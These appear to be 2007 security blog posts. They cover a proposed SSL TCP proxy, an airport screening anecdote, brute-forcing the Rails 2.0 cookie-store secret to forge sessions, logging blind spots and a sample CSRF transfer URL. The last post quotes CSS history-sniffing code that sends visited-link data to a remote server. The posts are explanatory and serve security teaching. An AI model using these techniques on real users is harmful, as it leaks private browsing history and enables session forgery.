A lot of web applications use port 80 and 443, but don’t necessarily speak HTTP or live inside a web browser. Many of these web apps utilize rich content and compiled code, such as Flash/ActiveX/Java, that have the ability to open their own TCP sockets to remote servers, by-passing the browser’s network stack and any HTTP proxy the browser is configured to use.

All the JVMs I’ve used do let you specify a proxy for an applet to use, but in my experience, this process is sometimes a little clumsy. On top of that, this only helps if the applet is speaking HTTP, or some other known protocol for which a proxy exists.

Putting browser based applications aside for a moment, fat client applications (including those on mobile devices) will utilize port 80/443 as a sure-fire way through the firewall, even if they aren’t using a standard protocol like HTTP or SOAP/WS-Security.

WireShark, tcpdump, and other network sniffers can be helpful in these situations where you can’t get application data easily routed through a proxy. However, the ability to replay or modify data on the fly between the client/server is still a challenge. Add SSL encryption to the scenario, and typically you are S.O.L.

What we need is a socket based TCP proxy with SSL support. Such a proxy would capture traffic at the network layer, identify common protocols and accumulate requests/responses for MITMing, but also stream proprietary protocols while providing a mechanism for altering/fuzzing data on the fly.

Tools like WebScarab/Paros/Burp are great at what they do. But as soon as an application strays from a common protocol (security through obscurity anyone?) these tools lose some of their value.

I already have a proof-of-concept tool that has been invaluable to us in some recent pen-testing. Now, the plan is to tighten up the loose ends, add some features, and make it available for others to use.

I’d definitely be interested to hear what anyone has to say about such a tool. Do you think it would help you? Is there already something similar out there? Leave your comments below.

-Schmoilito

On Friday afternoon, I headed off to the airport for a trip to Chicago to visit a friend. I should have checked the flight status, because it turns out my flight was canceled. All other flights to Chicago were on time, and full. The über-helpful lady at Continental advised me to wait on stand-by. The end result was that I had to wait until 6AM Saturday for a flight to Detroit and a connection to Chicago. Damn. <sarcasm>On the bright side, my bag made it to Chicago by 11PM that night.</sarcasm>

I went home to sleep, and set my alarms for a 4AM wake up to make it back to the airport for my 6AM flight. I assumed I would get there in reasonable time, since I didn’t have to check in or check any bags. Unfortunately, I also didn’t pay any attention to the four S’s on my new boarding pass. At 5:50AM I was being molested by Boris, one of the TSA’s human pen-testers at Newark Liberty. Lucky me, I was selected for additional screening because I had made changes to my itinerary. Lady luck continued to shine on me since Boris, at 250+LB’s, is a gentle giant.

I don’t think my writing thus far as conveyed the anger and frustration I felt during this whole ordeal. And when I realized I had to endure additional security screening, my blood had begun to boil. However, at some point during my personal security assessment, my mind drifted into my happy place, and I had a moment of clarity.

Who else is more deserving of a more in depth security review then someone who is already pissed off at your airline, and could possibly snap with the next minor inconvenience or crying baby?

Any passenger traveling on an air plane is considered a threat. As individual passenger scenarios fluctuate, so does the individual passengers threat potential. In my particular situation, it was up to the airline to indicate to the TSA that I require additional screening, and they did this via the “SSSS” on my boarding pass.

Inside me there is a glimmer of hope that TSA folks have some ability to identify behavior patterns in people that could indicate an elevated threat potential in real time (like when I’m waiting inline to get screened). However, they most likely rely heavily on their technology/tools (metal detectors, xray machines, that crazy air blast thing, etc) for such dynamic analysis.

It’s really no different then a highly-skilled pen-tester being given a large number of applications to test in a very short period of time. In this case, the pen-tester would rely heavily on tools. There is no shortage of content on the Internet discussing the quality of such tools, so I’m not gonna go there in this post. However, I must ask the question, how good of an assessment can you perform on a web app using only the tools available on the market today?

What all this reminds me is that security in I.T. is no different then security in every other aspect of life. Threats are dynamic, and constantly in flux. Countermeasures deployed to protect us from threats must also be dynamic, and able to keep up with an ever changing threat landscape. If our tactics are static, threats will eventually go un-noticed, and we will get pwned.

At least, that’s what Boris softly whispered in my ear…

-Schmoilito

The OWASP conference proved to be a great ground to bring up this topic of the proposed Rails 2.0 cookie storage structure. I’ve had quite a few conversations with ASP.Net guys since this post comparing the Rails 2.0 Cookie storage verses Microsoft’s ViewState. While I agree there are quite a few similarities, I think there are still a few issues that make this Rails technology choice flawed.

Consider basically any web application for which there is unique data for particular users (like just about any app that requires a login). When the user logs in, the first thing your application typically does is look up the user in the database and stores their unique userID in a session object (if they pass authentication). Your app now should use that session value for each additional database query to only pull up your unique data. There are no additional checks since there should be no way the user can change this ID value… as long as you never send it to the client (I’m talking to you Mr. “Hidden” form tag). The amount of damage you can do by manipulating a value like that, which I believe is very common for any application, is considerably more sever than any attack against ViewState (given any logical implementation of either technology).

Another item that makes the Rails approach flawed is how the password is chosen for the SHA1 hash. It’s great that Rails will not allow a blank “secret” to be used, but this is the only complexity check. My feeling is that the machineKey approach used with ViewState hashing and encryption will yield a much more complex password than what you will find most developers choosing on their own. To prove that point, try out the BustRailsCookie.rb code. You’ll need Ruby installed and either a few trusty wordlists or John the Ripper. After that, just pass in a rails 2.0 cookie with both the encoded value and the hash. The script will first show you the unmarshalled session object, then start the cracking for the server side secret password.

I still think Rails is pretty sweet. Just make sure to update one line in your environmental files if you’re using 2.0. For those of you looking for more info on how Rails stacks up against the OWASP top ten, Heiko Webers has created a fairly in depth and up-to-date guide on the OWASP site. I recommend checking it out.

~b3nn

Ruby Script: BustRailsCookie.rb
Windows Compiled: BustRailsCookie1.1.0.zip
(Note: little problem with the compiled version and pipes. I recommend using the ruby script if you have ruby and rails installed.)

Update: Heiko has also added a post about this issue on his RORSecurity.info site.

Update (11/25/2007): Well glad this made it to the eyes of DHH on the core mailing list. I guess the “is_admin” flag is a bad choice for an example in Rails. I was hoping it would make things more clear, but my view is even putting the “user_id” in the cookie store session becomes dangerous if someone chooses a weak secret password (and my experience with that is… people choose weak passwords). If it’s something from a dictionary, or easy to brute force, it then allows anyone who cracks it to become any other user in the application. Even with encryption or a strong password, storing the session in a cookie opens up the possibility for an attack against it which is not present in the other session store options. As Heiko pointed out, he’s already found some code with fairly weak secrets set. I guess we’ll see how this plays out in the real world.

If you’re out at the OWASP AppSec conference in San Jose this week, we invite you to come hear a presentation about Ruby on Rails security. We’ll mostly be covering how Rails holds up to standard web attacks (SQL Injection, Session Riding, XSS, and on down the list), but also adding in a little deeper dive into the default Rails 2.0 session storage.

The Rails framework is definitely doing some security features very well, but when the final 2.0 version comes out later this year, session storage is not going to be one of them. The new default Rails configuration will actually be storing server side session information in client side cookies. (You read that correctly….) The server side session information is going to be pushed down and stored on the client side web browser’s cookie cache. This new rails session cookie value will consist of two items. The first being a dump of the session object that has been Base64 encoded and then URL encoded. Notice the word encoded not encrypted.

You will be able decode and view all the data in your session object as quickly as you can copy and paste and click. The only thing preventing you from changing that data and resubmitting your “is_admin=true” session hack will be the second part of the cookie value. This will be a hash of the original session value along with the secret server side password (the default hashing algorithm will be SHA1). Do you see where this is going? You will be able to locally brute force the hash to uncover the secret, then put anything you want into your server side session object.

I’ll be posting some code later this week to demonstrate, but everything you need is already in the “cookie_store.rb” file if you’ve downloaded the Rails 2.0 Release Candidate. If you’re using edge rails or building a rails 2.0 application, I would strongly recommend using one of the other session storage choices.

~b3nn

Update: See the “Part II” post for the BustRailsCookie script.

“We’ve never been hacked.” Those words are generally what let IT people sleep at night (or take long breaks to go play Guitar Hero). While it gives everyone a nice warm, fuzzy feeling like a lolcat, how would you know that it is true? Cause you haven’t had a customer complain about a strange transaction? Cause the data in your database looks fine? Cause your web server hasn’t crashed recently? Often, it’s because of a strong belief that logs will tell you everything and you don’t see anything crazy in there.

While most companies do spend some time and money on log analysis, a number of web attacks can go completely undetected given common logging architectures and configurations. A very simple example of this would be POST parameters. You can check all the boxes for the IIS logging configuration, but there’s still no way to enable logging of POST parameters without some custom programming. Not logging POST parameters makes sense as they are most often used to send usernames and passwords (something you wouldn’t want sitting as plaintext in your logs); but then any SQl injection attempts to bypass login go undetected. So, some programmers take it upon themselves to add additional logging in the application itself. Items such as writing out when someone logs in, or what data they are viewing or entering. While this is recommended and can often be helpful, it can also lead to a false sense of security. Most often a vulnerability in an application occurs at a point where the developer was unaware of a security risk. Therefore, developers commonly miss logging data at the correct spots, logging the correct parameters, that are used in an attack. In a number of cases, there is often no validation or encoding of data written to these custom logs. Thus it’s rather easy for an attacker to forge entries into the logs or truncate data by appending null characters in their attacks.

Even if you do log everything properly, some attacks don’t have signatures that would stand out. Parameter manipulation attacks often take advantage of subtle changes to the information sent to the webserver.  Changing one account number to another valid account number. Flipping a zero to a one to get admin access. These attacks are going look like normal request to anyone reviewing the logs unless you already know some information about an attack that has occurred.

We have also seen a number of attacks against weak encryption that can go unnoticed for a huge amount of time. This should be painfully obvious now in the wireless world after the TJX attacks. Consider your own wireless network for a moment. Even if you are logging MAC addresses for every connection, how do you know someone is not passively capturing your traffic and decrypting it? Or has sniffed a legitimate user’s MAC address and is impersonating it?

In the web application world, we have seen weak homegrown session “encryption” for persistent logins. This didn’t take millions of sessions ids to crack, but rather just a handful any normal user would be issued. Think you would detect it based on IP addresses in your logs? Fairly unlikely, because your logs probably aren’t saving the session ids. If they are, the number of false positives is so high based on legitimate mobile users, that its often impossible to use that information to realize it’s an attack. Your IPS/IDS often will miss this attack as well since there’s nothing out of the ordinary in the requests or paths through the site.

How about Session Riding attacks? In these cases, we have a legitimately logged in user, coming from their normal IP address and standard web browser. If the attacker has done a proper job, a single Session Riding attack entry in a log file will look exactly like legitimate traffic. You would need to analyze the user’s path through the site to realize something was out of order. Again, in most cases, companies to not have the tools or resources to do this.

So before the next board meeting when someone announces “we’ve never been hacked”, take a few minutes to think about if there’s anyway you could know that is true. In most cases, there should be reasonable doubt to know the jury is out on that myth.

-b3nn

Till a couple of years ago, the input validation wand could be waved to solve almost any application security flaw - XSS, SQL Injection, Response Splitting, and the list goes on. That made it easy to become an application security consultant. If you could chant the “Input Validation” mantra you would be right most of the time. The advent of attacks like cross-site request forgery (which I prefer to call session riding) and session fixation, however, have made it difficult to pull off the input validation bluff.

Let’s talk about Cross Site Request Forgeries (XSRF) for starters. Corey Benninger explained the difference between the often confused XSS and XSRF in a previous blog post. The root cause of XSRF is the predicability of key HTTP requests that result in transactions with signifcant impacts.

E.g. If the HTTP request for transfering funds from one account to another is - http://www.hellobank.com/transfer.aspx?amt=1000&srcacct=1001829&srcaba=021000091&dstacct=9008990&dstaba=012000076

an attacker can lure a victim to visiting a web page, that in the “background” executes such a request to transfer funds from the victim’s bank account to that of the attackers. If the victim is logged in to his/her online bank then this transaction will execute successfully. The systemic issue is the predicability of the HTTP request. The way to thwart such an attack is to introduce a random element in every request to transfer funds, and more importantly verify that the random token has not been tampered with.

Now on to session fixation. The potential impact of exploitation of this vulnerability is often underestimated; for those that feel that this is a “Medium” or “Low” risk issue check out my BlackHat 2006 presentation. The fix for this issue is real simple - invalidate and re-issue user sessions after critical events like login, and  switching from non-SSL to SSL on the website. It’s not input validation though.

I started thinking about this post while teaching my class at Carnegie Mellon University. One of the students came up to me after the web hacking class and asked me “What is the ONE thing I should take away from this session”. I said -  ”If it had to be ONE thing for application security it would still be Input Validation, but hopefully you didn’t just learn ONE thing” 

For years, about the only bookmarks in my browser that I think would count as ’scary’ would have been the links for Bonsai Kittens and anything Evil Dead related. But a while back a new one was added to the list and I find I can’t keep myself from going back to it every few weeks. It seemed appropriate again to bring up in light of some of the Blackhat talks. While it has a pretty innocuous name, the page never fails to make my jaw drop and my heart start pounding louder. If think you are strong enough, and have a clean pair of underwear within reach, surf over to  http://www.browser-recon.info

For those of you with weak bladders, let me quickly explain what the site does. Their page contains code that will compare a number of popular sites to determine which ones of them you have visited in the past, then dynamically show you a graphic based on those results. No clicking on a security pop up required. No strange browser configuration needed. Just some cleaver CSS checking at basically works like a human looking at a list of links to see which ones are blue (never been to before) or which ones are purple (visited links). While the thought of this keeps me up at night, I’m sure this has got to be the wet dream of numerous spammers and phishers. Talk about target marketing. Think anyone has figured out a way to data mine these results and done some crazy profiling?

And for that scary “not quite dead yet” moment, while disabling Javascript prevents the Browser-Recon site demo from showing your bank logo, disabling JavaScript alone is not enough to solve this issue. Jeremiah Grossman was nice enough to demonstrate at Blackhat both an javascript and non-javascript version. Simply use CSS and have it try to load a few well crafted background images if it correctly recognizes visited links. Here’s a little of the code. Notice the link tag without any text to click on.

<!– Code snippet from Browser Recon.–>
<!– CSS tags that will send a message back to our webserver of where you’ve been –>
<style type=”text/css”>
#n1004:visited { background: url(https://www.indiana.edu/~phishing/browser-recon/?url=1004&session=bc66632d49ca); }
</style>

<!– A link with no text. We can check that for the “visited” property in CSS above –>
<a id=”n1004″ href=”https://ibank.amsouth.com/auth/EnrollOverview.aspx”></a>

Now I can sleep a little better knowing there’s a Firefox plug-in to block this, but look when it was originally published.  November 20, 2005. That’s quite a bit of time and this feature is not yet patched? I’ve seen a lot of people grumbling over the state of security in web browsers recently (DNS Pinning being the latest pain point). With my noscript, safehistory, uninstalled java, disabled autocomplete, version of Firefox running in a VM… I can’t say I disagree.

-b3nn